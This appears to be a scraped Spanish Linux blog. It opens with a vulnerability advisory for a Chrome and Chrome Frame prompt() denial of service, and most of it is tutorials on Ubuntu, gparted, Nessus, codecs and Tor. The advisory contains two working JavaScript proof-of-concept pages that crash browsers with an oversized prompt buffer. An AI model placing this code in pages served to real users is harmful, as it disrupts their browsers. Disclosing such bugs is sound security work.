RootDev@blog:~$

###############################################
Google Chrome and Chrome frame Prompt DoS
Afectado: http://www.google.com
Reportado por: http://lostmon.blogspot.com/2010/08/google-chrome-and-chrome-frame-prompt.html
Reporte en español: http://rootdev.blogspot.com/2010/08/google-chrome-and-chrome-frame-prompt.html
Notificación al afectado: Sí Exploit disponible: Sí
###############################################

Este bug ha sido descubierto por mí y ha sido testeado e investigado por cLimbo de #Ayuda-informaticos de la red iRC-Hispano (podéis encontrarnos allí)

#########
Resumen
#########

Algunas veces la necesidad de aplicaciones web en el sistema exponen algunos datos de los usuarios, se pueden vulnerar a través de un código Javascript, o por medio de formularios html, etcétera..

En el caso del código en Javascript pide accecer a los datos del sistema (la pregunta en sí es) es muy extenso ?

################

Google Chrome es propenso a una vulnerabilidad de denegación de servicio a través de "mensajes de alerta" cuando los datos esperados son muy extensos.

No sé si esto puede ser a su vez en una ejecución remota de código o una corrupción de la memoria o similares, pero creo que esta vulnerabilidad necesita analizarse y posteriormente parchearse.


###################
Versiones testeadas
###################

En todos los casos de Google Chrome es el vector el que produce alguna incongluencia en todos los sistemas :)

######################
MAC OS X leopard 10.5
######################

Google Chrome5.0.375.126 (Build oficial 53802) WebKit 533.4
V8 2.1.10.15
User Agent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US)
AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4
Command Line /Applications/Google Chrome.app/Contents/MacOS/Google Chrome -psn_0_794818

In all cases OS X closes all Chrome Windows.( Chrome Crash)


##############
ubuntu 10.04
##############
Chromium 5.0.375.99 (Developer Build 51029) Ubuntu 10.04
WebKit 533.4
V8 2.1.10.14
User Agent Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4
(KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4
Command Line /usr/lib/chromium-browser/chromium-browser

In al cases Chrome is minimized and denies the access to
"window manager button" and we can´t no change beetwen applications
that we have open.


##################
Windows 7 32 bits
###################

Google Chrome 5.0.375.86 (Build oficial 49890)
on windows 7 ultimate fully patched.

It causes a DoS in chrome and a DoS in IE8 when
exploit it across Google Chrome Frame.

###############
Debian 2.6.26
###############

Google Chrome 6.0.472.25 (Build oficial 55113) devWebKit 534.3
V82.2.24.11
User Agent Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit 534.3

in all cases Debian Closes all chrome Windows.( Chrome Crash)


####################
PoC
####################

Este PoC ha sido testeado en win7 32 bits, chrome and chrome frame en conjunto con IE8 causando una denegación de servicio en IE8.

#############################


<meta http-equiv="X-UA-Compatible" content="chrome=1">
<h1> wait 10 or 11 seconds :)</h1>
<script>

function do_buffer(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
function DoS()
{
var buffer = do_buffer(unescape('%u0c0c%u0c0c'), 38000);
prompt(buffer);
}
setTimeout('DoS()',1000);
</script>


################# EOF ###################

Este segundo PoC es para ser testeado en Linux o en Mac OS X

#######################################
<h1> wait 10 or 11 seconds :)</h1>
<script>
function do_buffer(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
function DoS()
{
var buffer = do_buffer(unescape('%u0c0c%u0c0c'), 50000);
prompt(buffer);
}
setTimeout('DoS()',1000);
</script>

################# EOF ###################


############
Referencias
############
Vuln relacionada:
http://lostmon.blogspot.com/2010/07/ie8-on-windows-7-32-bits-unspecified.html

Google chrome bugtrack:
http://code.google.com/p/chromium/issues/detail?id=47617

################### €nd ###################

Thnx To cLimbo for his patience and support.

atentamente:
Lostmon (lostmon@gmail.com)
------------

thz Lost ;-)

Si hablamos de sistemas operativos de escritorio tengo que decir que soy de los que no se decanta de manera visceral por ninguno de los tres grandes actores del sector, es decir Windows, alguna distribución de Linux o Mac OS X. Utilizo todos ellos de manera bastante asidua y cada uno tiene cosas que me gustan mucho y otras que odio con ganas, de lo que se desprende que los “odio y amo” a partes iguales. Es por esto que no me gusta lo que está haciendo la conocida multinacional estadounidense Dell -esa dedica a desarrollar, fabricar y vender computadoras, servidores y otros productos- con una de las distribuciones de Linux más conocidas y utilizadas del momento, sí, hablo de Ubuntu.

Resulta que Dell desde hace un tiempo viene “jugando a ser el progre” del sector ya que en varias ocasiones han hablado de lo bonito y bueno que es Ubuntu y han emprendido o anunciado diferentes acciones para apoyar el SO. Pero esto es la teoría ya que al final en la práctica o hacen las cosas a medias o directamente en vez de impulsar Ubuntu consiguen justamente lo contrario, y ahora os explico por qué pienso esto.

De primeras tenemos que hace unas semanas Dell afirmaba en su sitio web oficial estadounidense que “Ubuntu es más seguro que Microsoft Windows”, pero al poco tiempo cambiaron la contundente frase por algo más suave: “Ubuntu es seguro”. Hasta aquí más o menos bien, puedo entender el movimiento el cual no perjudica ni favorece a Windows y tampoco a Ubuntu. Lo que ya se me escapa esto es lo que dice Dell de Windows y de Ubuntu para ayudar a sus clientes del Reino Unido a elegir entre uno u otro SO:

Escoja WINDOWS si:

• Si ya usa programas WINDOWS (e.g., Microsoft Office, iTunes, etc.) y quiere seguir usándolos.
• Si está familiarizado con WINDOWS y no quiere aprender nuevos programas para correo-e, procesador de palabras, etc.
• Si es nuevo usando computadoras.

Escoja UBUNTU si:

• No planea usar Microsoft WINDOWS.
• Está interesado en la programación open source.

Lo que escribe Dell sobre Ubuntu está para mi completamente “cojo” y da lugar a por un lado malentendidos sobre el SO libre (que está pensado para programadores o algo así por ejemplo), y por el otro lo que dicen de Windows según yo claramente inclina la balanza hacia este último si alguien duda entre uno u otro (la mayoría de clientes potenciales de Dell que por lo que sea se estén planteando cambiar de Windows a Ubuntu vendrán de utilizar Windows y se les está diciendo que si utilizan programas Windows es suficiente para no mudar). Lo correcto hubiera sido poner las lindezas que tiene cada sistema operativo para los usuarios sin inclinar tan descaradamente la balanza hacia una de las partes.

Entiendo que lo más fácil para Dell sería quitarse Ubuntu de encima completamente y listo, pero si decides mojarte, pues hay que hacerlo bien, que al final con estas cosas le hacen más mal que bien a Ubuntu, siguen alimentando las ideas preconcebidas que muchos tienen sobre Linux que hoy en día ya no son ciertas (que es un SO complicado y no apto para “nuevos”)




Vía | ALT1040

A todos nos gustan los wallpapers bien diseñados, no importa de qué sistema operativo se trate. Es por eso que aquí voy a compartirte una lista de enlaces para descargar wallpapers en su mayoría diseñados originalmente para distribuciones Linux; aunque como imágenes al fin, serán útiles para cualquier escritorio.

• Los 12 nuevos wallpapers de KDE SC 4.5 (recién salidos del horno).

• 300 wallpapers en alta definición reunidos por sckyzo.

  • Paquete 1.
  • Paquete 2.

• Los 16 wallpapers de Ubuntu Lucid 10.04.

• Todos los wallpapers de GNOME Art (son muchísimos). Entra vía FTP con el usuario y la contraseña anonymous:

  • ftp ftp.gnome.org
  • cd /pub/GNOME/teams/art.gnome.org/backgrounds
  • prompt off
  • mget *jpg
  • mget *png

• Cerca de 400 wallpapers de los concursos de fotografía de National Geographic de 2008 y 2009. Usa estos scripts creados en Bash por Andrew (modifica la variable res dentro del script natgeo2008.sh para cambiar la resolución del wallpaper; esto no es necesario con el script del 2009).

  • wget http://dl.dropbox.com/u/2886083/w8/natgeo2008.sh
  • bash natgeo2008.sh
  • wget http://dl.dropbox.com/u/2886083/w8/natgeo2009.sh
  • bash natgeo2009.sh

¡Disfrútalos!




Vía | Bitelia

Ya sabemos que en Linux la partición /home es donde se almacenan los diferentes perfiles de los usuarios y que conviene tener esta montada en una partición separada del / para que en futuras versiones no tengamos que definir todos los perfiles de nuestros programas de nuevo que de otra manera se formatearia.

El problema que me surgió es que definí la partición /home (/dev/sda2) muy pequeña de 2GB y me quede corto, la solución es simple, coger un trozo de espacio no usado de la partición / (/dev/sda1) y agregarla a la /home, esto hay que hacerlo con dichas particiones desmontadas ya que no nos dejara, por lo tanto necesitamos cualquier livecd, en mi caso opte por la de ubuntu jaunty desktop, pasos:




Ahora solo tenemos que seleccionar la primera opción "Probar Ubuntu sin alterar su equipo" y esperar unos segundos hasta que inicie el sistema.



Una vez que inicie ejecutamos una consola desde Aplicaciones/Accesorios/Terminal y ejecutamos el comando:

gksudo gparted

Nos saldrá una ventana con nuestras particiones, en mi caso 3, la / (dev/sda1), la /home (/dev/sda2) y la de intercambio (/dev/sda5):



Ahora lo que debemos de hacer es situarnos en la partición que queremos coger capacidad para dársela a la /home, en mi caso es la / (/dev/sda1), damos al secundario del ratón y le damos Redimensionar/mover, voy a mover 3GB, por lo tanto:



Ahora Muevo espacio a partir de la derecha, o sea "Espacio libre a continuación (MiB):" y le pongo el deseado, en mi caso 3000:



Doy al botón redimensionar. ahora hacemos lo mismo para la partición /home pero al contrario, o sea movemos de derecha a izquierda:




Damos al botón redimensionar, acto seguido damos al botón aplicar situado en la parte superior para que se aplique los cambios en el disco duro, esto tardara bastante tiempo según el tamaño que queramos mover.

Cuando acabemos ya tendremos modificado el tamaño de la partición /home. En este caso cogí espacio de la partición /, si fuera el caso que tendríamos una partición distinta a la / donde podemos coger datos no haría falta usar un livecd ya que podríamos hacerlo directamente pero antes desmontando la partición /home, para ello tendremos que salir de la sesión y iniciar como root, si fuera el caso:

umount /home

Acto seguido igual que hicimos anteriormente ... ejecutar como root:

gparted

Si no disponemos de gparted es tan fácil como instalarlo:

aptitude install gparted

Lo único que tenemos que tener en cuenta es que las particiones que vamos a modificar deben estar desmontada y también hay que tener en cuenta que si vamos a redimensionar una partición ntfs necesitamos ntfsprogs, al igual que si usamos ext* necesitamos e2fsprogs, reiserfsprogs para particiones reiser, hfsprogs para particiones hfs, etc...

Otra cosa importante, tener en cuenta que no es lo mismo redimensionar que mover, si redimensionas digamos no alteras el dispositivo, seguirá siendo /dev/sda2 por ejemplo, otra cosa es si mueves una partición ... puede cambiar los dispositivos y si es el caso deberemos tener en cuenta de hacer las modificaciones pertinentes en los archivos menu.lst y fstab para que concuerde con las nuevas particiones.

Un saludo

Artículo cedido por un conocido; chakal^-^.

Después de probar y probar al final encontré la manera de que me grabara sonido gtk-recordMyDesktop, el problema era que no me detectaba con la opción que tenia defecto gtk-recordMyDesktop ya que dispongo el micrófono lo tengo en una cámara USB logitech, al ver los log's una vez metida la cámara me di cuenta de que el dispositivo que debo usar es hw:1:

Lo que hice fue añadir a las opciones del gtk-recordMyDesktop hw:1,0 :

A partir de ahora ya puedo grabar sonido y vídeo :) .

Un saludo

Artículo cedido por un conocido; chakal^-^.

Hoy estaba actualizando mi Acer Aspire One modelo A110 y que sorpresa me llevo cuando había paquetes sin configurar, digo vale, incluso me lo dice en la consola cuando hago la actualización que haga esto:


Hasta que no hagamos esto no podemos instalar ningún paquete mas. El problema viene cuando intenta crear/actualizar el initrd de un kernel viejo que lo borre ya que uso uno actual y me parece una tontería tener 40 kernel sin usar y mas teniendo solo 8GB de capacidad de disco solo :) . La carpeta de /lib/modules/2.6.28-v5.aspire1 la borre por que uso la versión 2.6.28-generic entonces dpkg se quejaba.

La solución fue borrarla para que no me tocara las narices:


En este paso me daba un error, me decía que no existía /boot/2.6.28-v5.aspire1 por lo que le engaño creando el archivo :P


Ahora si me deja hacer el configure:


Un saludo

Artículo cedido por un conocido; chakal^-^.

Parte fundamental de cualquier marca es su imagen y la máxima expresión de esa imagen viene dada por su logotipo. Será el principal pilar encargado de, entre otras cosas, identificar de forma inequívoca determinada empresa.

Tux, el pingüino:


Si hay un pingüino famoso en la red ese es sin duda Tux, la mascota oficial del kernel de Linux. Fue una elección personal de Linus Torvalds, el nombre del bicho es el acrónimo de (T)orvalds (U)ni(X).

Ubuntu, círculo de unidad:

A primera vista parece que el logo de Ubuntu es un simple círculo rojo, naranja y amarillo con unos puntos. Ahora fíjate bien y podrás ver que en realidad son tres personas formando un círculo cogidos de la mano.

Se pretende representar unidad, lo que también tiene relación con el nombre del sistema operativa. Ubuntu es una expresión africana que describe solidaridad y compasión.

Google Chrome OS, la esfera:

Aún no se sabe pero es probable que Chrome OS tome prestado el logotipo del navegador Google Chrome, quizás con pequeños cambios aunque manteniendo la estructura básica.

El logotipo es una esfera con aspecto “robótico” de colores y podríamos decir que está influenciado por varios otros. Desde el de Windows (los colores), las “Pokeballs” de los Pokémon o el juego de memoria Simón. Por otro lado es una poderosa imagen, intenta imitar el globo ocular humano que significa conocimiento y visión.

Redhat, el hombre misterioso:

Personalmente el logotipo de RedHat es de los que más me gusta por el “misterio” que desprende. Justamente esa es la idea que quieren transmitir los del sistema operativa abierto, estar rodeados por una atmósfera enigmática.

Por otro lado se cuenta que el padre de Marc Ewing, uno de los fundadores de la empresa, le regaló un sombrero rojo y blanco (el oficial de los jugadores de lacrosse de la universidad de Cornell) que no se quitaba ni para ir al baño y de ahí nació la idea para el nombre de la distribución y el logotipo (existen varias versiones de esta historia).

Mac OS X, se olvida de la manzana:

La marca principal de Apple es sin duda la manzana con un mordisco en uno de los lados, pero en el 2001 los de Cupertino deciden cambiar radicalmente e introducen una X mayúscula con aspecto metálico para representar a su sistema operativo Mac OS X.

La X es estilo metal brillante y pulido para representar un radical nuevo sistema operativo con menús metálicos y look minimalista.

openSUSE, el camaleón:

La mascota oficial del kernel de Linux es un pingüino como decíamos. Pues bien, al software libre le gustan los animales y la distribución SUSE usa otro para su logo, en este caso un camaleón. Los usuarios lo bautizaron con el nombre de Geeko que sale de contraer la palabra geek (¿hace falta definición?) y gecko, un pequeño lagarto que vive e climas templados.

Vía | ALT1040

Creo este tutorial para explicar otro tema bastante problematico entre algunos usuarios noveles y no tan noveles de Ubuntu y Nessus.

Instalando Nessus 3.2.0 en Ubuntu 8.04

Para empezar necesitamos cumplir las siguientes dependencias;

libc6 (>= 2.3.5-1), libssl0.9.8 (>= 0.9.8c-1), zlib1g (>= 1:1.2.1), openssl (>= 0.9.8c-1)

Todas estas dependencias se arreglarian con un simple comando

sudo apt-get install libc6 libssl zlib1g openssl

Con esto resolveriamos las dependencias de Nessus y podríamos instalarlo sin mayor problema, ahora necesitariamos el paquete para nuestra distribución, en mi caso voy a trabajar con Ubuntu 8.04 como ya dije en el título pero es casi lo mismo para las demas.
Lo primero sería ir a la web oficial de Nessus y darle a “Downloads” y insertar la información que nos pide y descargarnos el paquete que vaya acorde a nuestras necesidades.

Nessus-3.2.0-ubuntu710_i386.deb

Aunque en este caso usaremos el paquete para Ubuntu 7.10 funciona perfectamente en Ubuntu 8.04 sin problema.
Bien procedemos a la instalación, en este paso tenemos dos maneras o bien por gdebi o por dpkg;

Para instalar desde GDebi;

#~$ gdebi-gtk

Y selecionamos el paquete desde el menú de GDebi, esperamos a que termine la instalación y ya estaría, tendriamos nuestro nessus instalado.

Para instalar desde dpkg;

#~$ sudo dpkg -i Nessus-3.2.0-ubuntu710_i386.deb

Bien, una vez instalado para los amantes de un entorno más gráfico para nessus tenemos NessusClient que también se puede descargar desde la propia web de Nessus.

Para instalarlo tan simple como usar gdebi-gtk como ya he mencionado arriba seleccionando el paquete de NessusClient o bien desde dpkg;

#~$ sudo dpkg -i NessusClient-3.2.0-ubuntu710.i386.deb

Una vez termine, tendremos que entrar en nuestro email para recojer el código de Plugins que se nos ha enviado. y pondremos;

#~$ sudo /opt/nessus/bin/nessus-fetch --register el código que se te ha enviado

Luego añadiremos al usuario para poder conectarnos a nuestro servidor de Nessus;

#~$ sudo /opt/nessus/sbin/nessus-add-first-user

Y nos pedirá una serie de datos que deberemos introducir según nuestros criterios.

Si hemos llegado hasta aquí quiere decir que o bien hemos terminado satisfactoriamente o bien estaís buscando alguna solución a un fallo que os ha aparecido durante la instalación. Si es lo segundo, dejad un comentario con vuestro problema y vuestra distro para poder ayudaros. En caso de que sea lo primero continuemos;

Retomando, iniciamos Nessus con el siguiente comando;

#~$ /opt/nessus/sbin/nessus-update-plugins && /etc/init.d/nessusd stop && /etc/init.d/nessusd start

Así nos aseguramos de que dispondremos de los últimos plugins disponibles y de que si nessusd ha sido iniciado anteriormente se reinicie para que se recargen los plugins.

Ahora debemos crear nuestro primer usuario para conectarnos con el servidor nessusd.

/opt/nessus/sbin/nessus-add-first-user

Bien ya tenemos nessusd iniciado correctamente si todo ha ido bien, y ahora podremos conectar a nuestro servidor de Nessus llendo a Aplicaciones -> Internet -> NessusClient

Una vez dentro sería configurar el servidor al que vamos a conectar dandole al boton que aparece en NessusClient; Connect (Ver Imagen) nos aparecera este menú.

Una vez estemos dentro, clickearemos en Edit y nos pedirá lo siguiente:

Connection Name (Nombre de conexión): Podemos Poner lo que queramos
Host Name (Nombre del Host): aquí va la IP en caso que sea local 127.0.0.1
Port (Puerto): Por defecto 1241
Login (Usuario): GenLinux (En tu caso el que añadistes en el comando de /opt/nessus/sbin/nessus-add-first-user
Password (Contraseña): La contraseña que elejistes

Y ya estaría. podríamos conectar a nuestro servidor de Nessus sin problemas y comenzar a escanear.

Escrito por cross.

La verdad que desde que sé que Automatix2 no tendrá soporte en Ubuntu 8.04 Hardy Heron, la cosa de los codecs se queda un poco complicada, y buscando un poco por google la verdad que hay diversas opciones para arreglar este pequeño incidente. Aquí os propongo una solución para reproducir archivos de audio MP3, reproducir peliculas Avi, etc.

Lo primero será encontrar algún proyecto que nos ofrezca los paquetes necesarios; ¿Donde? Facil, MediBuntu (Multimedia, Entertainment & Distractions In Ubuntu) (Multimedia, Entretenimiento & Distracciones en Ubuntu)

Bien ¿Qué tenemos que hacer? Añadir los repositorios. Podemos añadirlos así;

sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list

ó:

sudo gedit /etc/apt/sources.list

y añadimos las siguientes líneas:

## Medibuntu - Ubuntu 8.04 LTS "hardy heron"
## Please report any bug on https://bugs.launchpad.net/medibuntu/
deb http://packages.medibuntu.org/ hardy free non-free
#deb-src http://packages.medibuntu.org/ hardy free non-free

Una vez añadido Medibuntu a los repositorios necesitamos la llave GPG

sudo apt-get update && sudo apt-get install medibuntu-keyring && sudo apt-get update

ó

wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- | sudo apt-key add -

Una vez tengamos la key podemos proceder actualizando los paquetes disponibles;

sudo apt-get update

Y una vez termine; podemos comenzar a instalas los paquetes que necesitamos;

sudo apt-get install w32codecs libdvdcss2 gstreamer0.10-plugins-ugly-multiverse gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-bad gstreamer0.10-plugins-ugly gstreamer0.10-ffmpeg libxine1-ffmpeg libdvdread3 ffmpeg

Una vez realizado esto (que tarda un poco) ya se supone que podríamos reproducir cualquier formato y reproducir DVD’s.

Escrito por cross.

Se trata de un gestor de paquetes para Debian (ó Distribuciones Derivadas como Ubuntu, etcétera). ¿Qué novedad tiene frente al típico Gestor de Paquetes Gráficos? Pues, éste incluye imágenes sobre los propios programas a instalar, así podemos echar un vistazo a la “pinta” que tiene el mismo. Mediante los DebTags (Etiquetas de Software en Debian), muestra una lista de programas que estén en la misma categoría.

La instalación es símple, debemos activar los repositorios Universe (En Ubuntu) y escribir en el terminal:

~$ sudo apt-get install goplay

Los comandos que usaremos serán:

goplay: Muestra una lísta de Juegos disponibles.
goadmin: Muestra la lísta de paquetes de Administración.
golearn: Muestra la lísta de paquetes Educativos.
gonet: Muestra la lísta de paquetes para Internet.
gooffice: Muestra paquetes de office (OpenOffice, Hojas de Cálculo, etc).
gosafe: Muestra la lísta de paquetes de Seguridad (iptables, ufw, firestarter, etcétera).
goweb: Muestra paquetes relacionados con el Web.

Vía | UbuntuLife

Por fín, después de tiempo esperándola, ya ha salido la versión final de Ubuntu, Jaunty.

En la web www.ubuntu.com están disponibles las versiones Desktop Edition, Server Edition y Netbook Remix dan varias formas para conseguirlo, según la arquitectura de tu pc, y para qué esté destinado. Aqui os englobaré todos:


Enlace de descarga:

Desktop edition:

Ubuntu 9.04 desktop i386 (32 bits).
Ubuntu 9.04 desktop amd64 (64 bits).

Netbook remix:

Ubuntu 9.04 netbook remix i386.

Server edition:

Ubuntu Server edition i386 (32 bits).
Ubuntu server edition amd64 (64 bits).


Otro método es comprando el cd/dvd.

O pedirlo en la web.

Vídeo de instalación gracias a facilware.



Más información:

Página oficial

Este post debería ir incluido en la selección sobre aplicaciones de seguridad que estoy haciendo para Ubuntu, pero creo que también se merece un apartado propio.

Por todos es conocida, la escasa privacidad que tenemos al navegar, vamos dejando un rastro continuo de quien somos, de qué páginas venimos, a cuales vamos..

Una forma de limitar ese rastro que dejamos, es navegar a través de la famosa red Tor.

TOR básicamente es una red de túneles virtuales que permiten a las personas y grupos mejorar su privacidad y seguridad en Internet. Digamos que ayuda a defenderse contra el análisis de tráfico, una forma de vigilancia de la red que amenaza la libertad personal y la privacidad, la confidencialidad en los negocios y relaciones, y la seguridad del estado.

La red Tor ha sido muy cuestionada, pero no deja de ser una manera rápida y sencilla de difuminar el camino que hacemos por la Red.

Para usar Tor en Ubuntu, sólo tenemos que seguir unos cuantos pasos.



Lo primero, instalar Tor:

sudo apt-get install tor privoxy

Luego editamos el archivo de configuración de TOR

sudo gedit /etc/privoxy/config

(Si usas KDE usa Kate en vez de Gedit)

Y sustituyes el archivo de configuración por este otro:

# Generally, this file goes in /etc/privoxy/config
forward-socks4a / 127.0.0.1:9050 .
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard
actionsfile default
actionsfile user
filterfile default.filter

debug 4096
debug 8192

user-manual /usr/share/doc/privoxy/user-manual
listen-address 127.0.0.1:8118
toggle 1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096

Una vez hecho esto, grabamos el archivo de configuración y sólo tenemos que reiniciar el servicio Privoxy:

sudo /etc/init.d/privoxy restart

Y el último y paso más importante, instalar el complemtento de Tor en nuestro navegador Firefox:



Descarga del plugin: Torbutton


Doc realizado por un colega/amante N0xTrUm